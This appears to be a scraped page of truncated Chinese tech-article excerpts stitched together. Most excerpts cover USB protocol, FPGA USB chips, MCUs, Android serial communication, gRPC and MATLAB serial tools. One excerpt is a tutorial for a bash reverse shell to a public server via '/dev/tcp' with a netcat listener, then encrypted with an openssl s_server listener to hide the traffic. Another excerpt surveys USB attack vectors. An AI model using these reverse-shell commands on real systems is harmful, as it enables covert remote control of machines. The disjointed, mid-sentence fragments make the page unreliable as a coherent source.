前言: 昨个帮同事忙, 应下了一个Android 与PC端通信的Demo,遂今早上折腾了一会,也算是写出来了,而且发现了一个比较严重的问题:参考资料都是12年,13年的,很多的Sample 都是不能用的...---- Android Code 首先是清单文件中的权限: // 第一个与第二个是必要的, 第三个由于此项目需要,所以也就没再去除。...不想写了,你们直接去GitHub 拿代码吧, 不懂的就发邮件或者加QQ问我; QQ 7641436; Sample 地址
1 USB系统组成 主机:提供USB接口和接口管理功能的硬件、软件、固件的复合体。...接收设备忙不能接收数据 设备出错通信不上 专用包 (special) 前同步(PRE) 0x2C 主机发送的前同步字。...用于传输与时效相关的信息,并且在数据中保存时间戳的信息 中断传输(interrput transfers):周期性,低频率,允许有限延迟的通信 大容量数据传输(bulk transfers):非周期性...,大容量突发数据的通信,数据可以占用任意带宽,并容忍延迟 6.6 USB枚举过程 当一个USB设备插入主机后,会有以下活动: 供电 复位 获取device descriptor 复位(可选) 分配地址...、厂商信息、USB的协议类型、端点的包数据的最大长度等,每个USB设备只有一个设备描述符。
MSP430单片机具有基本定时器(Basic Timer1),经常用于低功耗当中,他工作的目的就是支持软件和各种外围模块工作于低频率 低功耗条件下。...他可作为两个独立的8位定时器或一个16位定时器。 一:Basic Timer1的寄存器 同过控制仅存器的设置可以对计数单元BTCNT1 BTCNT2进行软件控制。...1:BTCTL控制寄存器:其信息决定了Timer1的运行状况。SSEL用来选择ACLK或MCLK,DIV决定是否对选定的时钟信号分频。...FRFQ1 FRFQ0选择4个BTCNT1 的输出之一作为LCD的信号。IP0 IP1 IP2决定中断标志BTIFG置位的间隔时间,也就是基本定时器BTCNT2的定时间隔。 ...LCD驱动的桢频率从计数器高4位输出中选择。最高位可以作为BTCNT2的时钟输入。
USB数据在【主机软件】与【USB设备特定的端点】间被传输。【主机软件】与【USB设备特定的端点】间的关联叫做【pipes】。一个USB设备可以有多个管道(pipes)。 1....高速USB 总线的帧周期为125us,全速以及低速 USB 总线的帧周期为 1ms。帧的起始由一个特定的包(SOF 包)表示,帧尾为 EOF。...注意:虽然高速USB总线和全速/低速USB总线的帧周期不一样,但是SOF包中帧编号的增加速度是一样的,因为在高速USB系统中,SOF包中帧编号实际上取得是计数器的高11位,最低三位作为微帧编号没有使用,...因此其帧编号的增加周期也为 1mS USB总线上的情形是怎样的?...USB主机从总线上的某个USB设备接收一个数据包的过程。
USB数据在【主机软件】与【USB设备特定的端点】间被传输。【主机软件】与【USB设备特定的端点】间的关联叫做【pipes】。一个USB设备可以有多个管道(pipes)。 2....高速USB 总线的帧周期为125us,全速以及低速 USB 总线的帧周期为 1ms。帧的起始由一个特定的包(SOF 包)表示,帧尾为 EOF。...注意:虽然高速USB总线和全速/低速USB总线的帧周期不一样,但是SOF包中帧编号的增加速度是一样的,因为在高速USB系统中,SOF包中帧编号实际上取得是计数器的高11位,最低三位作为微帧编号没有使用,...USB主机从总线上的某个USB设备接收一个数据包的过程。...输出(OUT)事务处理 输出事务处理:表示USB主机把一个数据包输出到总线上的某个USB设备接收的过程。
本文,我将主要通过上图的分类方式来探讨针对USB的攻击向量问题。最上层涉及到更多关于人类应用、业务的基本交互场景。传输层包括设备的固件、协议栈等。物理层则主要描述USB总线上的通信问题。...0xB2 数据过滤 由于USB设备通常不会对主机上正在通信的应用程序进行身份验证,因此应用程序可能会对USB设备写入或者读取数据。...在某些情况下,这些漏洞可能在主机的设备枚举期间被利用。也可能作为一个中间人设备进行数据的嗅探。 四、物理层 物理层攻击包括对USB总线通信中的机密性和完整性的攻击。...尽管基于时序的指纹显着提高了规避漏洞的门槛,但是经验丰富的木马设计者可以修改其时序特征来逃避检测。...Oswald等人展示了如何基于功耗和电磁辐射从Yubikey 2中提取AES 128位密钥。
可以和FPGA搭配使用的USB3.0 PHY芯片 通过之前的介绍,我们大致了解到USB3.0整个协议异常复杂,就连物理层都需要SerDes(FPGA实现的情况...大致的通信方式如下图所示: PHY部分负责最底层的信号转换,作用类似于网口的PHY,这里如果大家需要了解具体的工作可以查看usb specification,因为和本文关系不大,所以不过多介绍了。...在上图中还看到UTMI和PIPE,这是PHY和controller通信的接口,USB2.0PHY主要使用ULPI和UTMI,USB3.0主要使用PIPE,对于ULPI和UTMI的区别如下: UTMI...LEVEL0 通信连接示意图 升级的UTMI+接口 ULPI(UTMI+ Low Pin Interface) 通信连接示意图 以上三种接口都是和USB2.0 PHY通信的接口(如果还不理解的话,这三种接口类似网口中媒体接口...举例如下:我用FPGA实现USB2.0通信,我使用逻辑实现cntroller+外挂USB PHY的方式,那么我的接口基本使用ULPI接口(降低pin的数量); USB3316 芯片逻辑框图 (来源:芯片数据手册
好久没有写文章了,年前公司新开了一个项目,是和usb转串口通信相关的,需求是用安卓平板通过usb转接后与好几个外设进行通信,一直忙到最近,才慢慢闲下来,趁着这个周末不忙,记录下usb转串口通信开发的基本流程...我们开发使用的是usb主机模式,即:安卓平板作为主机,usb外设作为从机进行数据通信。...是的,这个类就代表了android所连接的usb设备。...2.打开设备 接下来,我们需要打开刚刚搜索到的usb设备,我们可以将平板与usb外设之间的连接想象成一个通道,只有把通道的门打开后,两边才能进行通信。...转串口通信的基本流程,有些地方写的不是很全面,比如接收usb外设数据的方法应该还有别的,不足之处欢迎指正。
大家好,我是架构君,一个会写代码吟诗的架构师。今天说一说usb协议开发_基于事件驱动的架构,希望能够帮助大家进步!!! 1....1.3 主机和设备之间通信模型 主机与设备之间的通信模型 上图展示了USB主机和USB设备之间的数据传输过程。...USB主机在USB设备和USB主机之间发起的传输过程,稳为事务。每次事务以2到3个数据包的形式进行USB总线传输。...USB初始化过程 4.1.1 USB Core的初始化 USB驱动从USB子系统的初始化开始,USB子系统的初始化在文件driver/usb/core/usb.c subsys_initcall...USB主机和USB设备之间的数据传输以URB(USB Request Block)的形式进行。
FPGA和USB3.0通信-硬件的测试 本次演示用的是USB3.0芯片-CYPRESS CYUSB3014(下称 FX3),该芯片是标准的USB3.0 PHY,可以大大简化使用USB通信时FPGA的设计...设备管理器的VID/PID 2、基于内部DMA的loopback传输测试 何为LoopBack,通俗点就是FX3接收到什么数据就发送什么数据(类似串口回环)。...此时在工程目录下会生成一个Debug的文件夹,文件夹下面就生成了我们需要的固件,如下: 接下来,根据自己的硬件选择从USB引导。 插上USB,就可以在设备管理器上看到FX3设备。...选择在上一节基础上生成的固件(Debug文件夹下): 在上面操作没问题的情况 下:工作窗口中原先的Cypress USB BootLoader就编程了我们下载固件的名字(Cypress USB BulkLoopExample...FPGA和USB3.0通信-USB3.0协议介绍 FPGA和USB3.0通信-USB3.0 PHY介绍 FPGA和USB3.0通信-FX3硬件设计简谈 FPGA和USB3.0通信-SDK的安装
今天给大侠带来基于FPGA的USB2.0设计,附源码,获取源码,请在“FPGA技术江湖”公众号内回复“ USB2.0设计源码”,可获取源码文件。话不多说,上货。...比较遗憾的是,USB4的发布时间暂未公布。值得注意的是,此次发布的USB4是规范,而并非USB4.0。...以上就是关于USB标准以及命名的讯息,而今天我们要做设计的是USB2.0,USB2.0的设备是按照2.0的电源标准设计的,设备所需的电流小于500mA,而USB3.0接口可以提供更大的电流,所以用在USB3.0...端点和FIFO接口的应用使外部逻辑和USB总线可高速连接。 ? 基于FX2LP的USB开发,包括三部分:固件程序、驱动、上位机软件。...以上就是我们的基于FPGA的usb2.0设计了,希望能给各位大侠起到参考学习作用,此次设计到此结束,有缘再见,告辞。
一、环境介绍 操作系统: ubuntu18.04 64位 二、usbmon使用方法 2.1 功能介绍 usbmon 即 usb monitor,是 linux 内置的 usb 抓包工具。...当前使用的是ubuntu18.04,驱动模块的位置:/lib/modules/5.3.0-40-generic/kernel/drivers/usb/mon/usbmon.ko 如果不确定当前内核的版本...2.4 查看usbmon可以识别到的USB总线编号 root@wbyq:/mnt/hgfs/linux-share-dir/linux_c/usb_dev_ubuntu# ls /sys/kernel.../debug/usb/usbmon/ 0s 0u 1s 1t 1u 2s 2t 2u 3s 3t 3u 4s 4t 4u 2.5 找到当前要监控的设备使用的总线编号 输入lsusb...我使用的设备就是148f:5370。 使用的总线是3号总线。 2.6 监控指定总线上通信的数据 为了只看这个想要的设备数据,可以过滤一下。 后面的 "1:010" ,1表示总线编号。
众所周知,FPGA两大巨头:Xilinx和Altera,前几天我们分享了如何制作一款Xilinx的下载器:基于FT2232的低成本、开源的Xilinx HS-2下载器,最终成品是这样的。...图片 今天我们分享一款基于STM32的Altera FPGA下载器,3D效果图: ....资料非常齐全,无论是自己DIY下载器,还是学习STM32 USB-JTAG协议都是非常不错的资料。 开源资料 文末查看资料下载地址。 ....STM32工程 固件来自于另一位开发者,项目地址: https://github.com/eleqian/WiDSO/tree/master/MCU/USB-Blaster 基于STM32F103C8T...实现,没有使用操作系统(RTOS),纯裸机开发,项目中主要用到了USB外设,USB-Blaster JTAG协议实现。
这次给大家演示一下如何用STM32CUBE的配置,自动生成一个USB鼠标的过程。这里多说一句,USB是一套比较复杂的协议,单靠一两个例程是不可能完全理解的。...USB主机(也就是电脑)如何知道USB设备支持全速模式?只要在USB设备的D+数据线上接一个1.5K的上拉电阻即可。而我这里这个上拉电阻的电源端是接到了STM32的PA15上面。如图: ?...这里简单说下USB设备上电的过程: 1、设备插入后,USB主机自动对设备进行复位,使设备地址为零。 2、USB主机对地址为零的设备提问:你是个什么东西?...3、USB设备说:我的PID是XX,VID是XX,USB协议是2.0等等。 4、USB主机再次对设备进行复位,然后给复位后的设备分配一个地址。 5、USB主机向新地址提问:你是个什么东西?...USB设备回答:… 6、两次回答一样,说明USB设备的地址分配成功。USB主机继续提问,获取其它描述符。 7、USB设备,在向主机回复配置集合的时候,表明自己的身份:你好,我是个鼠标!
上节中我们给大家接触了Socket的一些基本概念以及使用方法,相信大家对Socket已经有了初步的掌握。本节我们学习使用Socket来实现大文件的断点续传!...在这里我们以他人的案例进行讲解,这是别人写好的一个Socket上传大文件的例子,不要求我们自己可以写出来,需要的时候会用就好!...1.运行效果图 1.先把我们编写好的Socket服务端运行起来 2.将一个音频文件放到SD卡根目录下 3.运行我们的客户端 4.上传成功后可以看到我们的服务端的项目下生成一个file的文件夹,我们可以在这里找到上传的文件...:.log那个是我们的日志文件 2.实现流程图 3.代码示例: 先编写一个服务端和客户端都会用到的流解析类: StreamTool.java: public class StreamTool {...file = new File(log.getPath());//从上传记录中得到文件的路径 if(
最近看到 containerd 的代码,发现它也有类似的需求,那么就考察了下gRPC有没有类似的,基于内存的通信方式。发现pipe非常好用,所以记录了下。...什么是pipe 在操作系统层面,pipe表示一个数据管道,而这个管道两端都在本程序中,可以很好的满足我们的要求:基于内存的网络通信。...Golang也基于pipe提供了net.Pipe()函数创建了一个双向的、基于内存通信的管道,在能力上,能够很好的满足gRPC对底层通信的要求。...有了上面的包装,我们就可以基于此创建一个gRPC的服务器端和客户端,来进行基于内存的RPC通信了。...本文介绍的,基于Pipe的通信方式,除了网络层走了内存传递之外,其他都和正常RPC通信行为一致,比如同样经历了序列化、经历了HTTP/2的流控制等。
使用也相对简单,8 位微控制器大多基于累加器,尽管一些较新的架构具有寄存器组,编程模型简单且有限:累加器或带单个状态寄存器的小寄存器组、堆栈指针,以及一个或多个变址寄存器。...尽管 8 位架构 MCU 广受青睐,可一旦涉及网络和通信就遇到了瓶颈,几乎所有通信堆栈和网络协议都采用 16 位或 32 位。在物联网时代的今天,8 位 MCU 逐渐失去了市场话语权。...对于以太网、CAN、USB 和 Zigbee 等协议栈,只要应用程序代码的性能足以支持堆栈,那么使用 16 位微控制器的运行速度不亚于 32 位微控制器。...32 位微控制器具有 32 位地址总线,可以访问高达 4GB 的存储器。基于寄存器的架构可轻松支持网络和通信;通常使用 32 位寻址,支持浮点运算和高等代数运算,并且时钟速率可达千兆赫级。...可以确定的是,TI 并非退出 MCU 业务,而是基于公司模拟战略所做的一个商业决策;但如果未来继续减少 MCU 投入的话,16 位 MCU 最后的倔强也会被消磨殆尽。
大家好,又见面了,我是你们的朋友全栈君。...之前学过单片机 对于串口通信比较了解 最近在学习MATLAB 发现它还可以控制串口 于是通过MATLAB 的GUI创建了一个串口通信的小软件 效果如下 如果没有单片机或者其他硬件的话 我们可以直接用软件模拟串口...这对串口现在已经连接在了一起 我的是COM1和COM2 现在如果往 COM1发信息 那么COM2就会接收到 之后我通过MATLAB的 uicontrol 函数搭建了 UI界面...并逐步实现了 串口通信 布局代码如下 打开串口以及接收数据 以及动态显示的代码如下 function openserial(h1,h2,h3,h4,h5,h6,h7) global s...如果在串口中一直发送数据 同时在MATLAB中点击使能绘图 在Axes框中就会出现 每一时刻接收的 数据的图 具体效果如下 代码下载地址: https://download.csdn.net
环境说明 公网服务器一台 kali (内网) 简单的测试 在公网服务器执行命令 nc -lvvp 4444 kali中执行命令 -i >& /dev/tcp/公网ip/5555 0>&1 启动Wireshark...image.png image.png我们可以清楚的看到,终端流量是通过明文传送。那么如何保证安全呢,这需要我们对明文流量加密处理。...openssl加密传输 第一步,在vps上生成SSL证书的公钥/私钥对 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem...VPS监听反弹shell openssl s_server -quiet -key key.pem -cert cert.pem -port 4433 第三步,在目标上用openssl加密反弹shell的流量
(3)缺省态 USB在被配置之前,通过地址0与主机进行通信。例如: ?...(4)地址态 经过了配置,USB设备复位后,就可以按主机分配给它的唯一地址来与主机通信,这种状态就是地址态;例如: ?...USB的包(宏观上来说)有四种:令牌包、数据包、握手包、特殊包。包是USB传输数据的基本单位。每种类型的包都会有不同的域来构成。...来看一张我画的图,再怎么觉得难的东西,也许你看完这张图以后,也就知道自己该怎么去学习了,这张图是我使用USB逻辑分析勾出来的图,然后加上自己学习的总结,这就是一个USB中传输的过程,相信你已经明白了USB...枚举将是整个USB学习的重中之重,枚举就是主机从设备读取各种描述符信息,这样主机就可以根据这些信息加载合适的的驱动程序,从而知道是什么类型的设备,如何进行通信等等。
领取专属 10元无门槛券
手把手带您无忧上云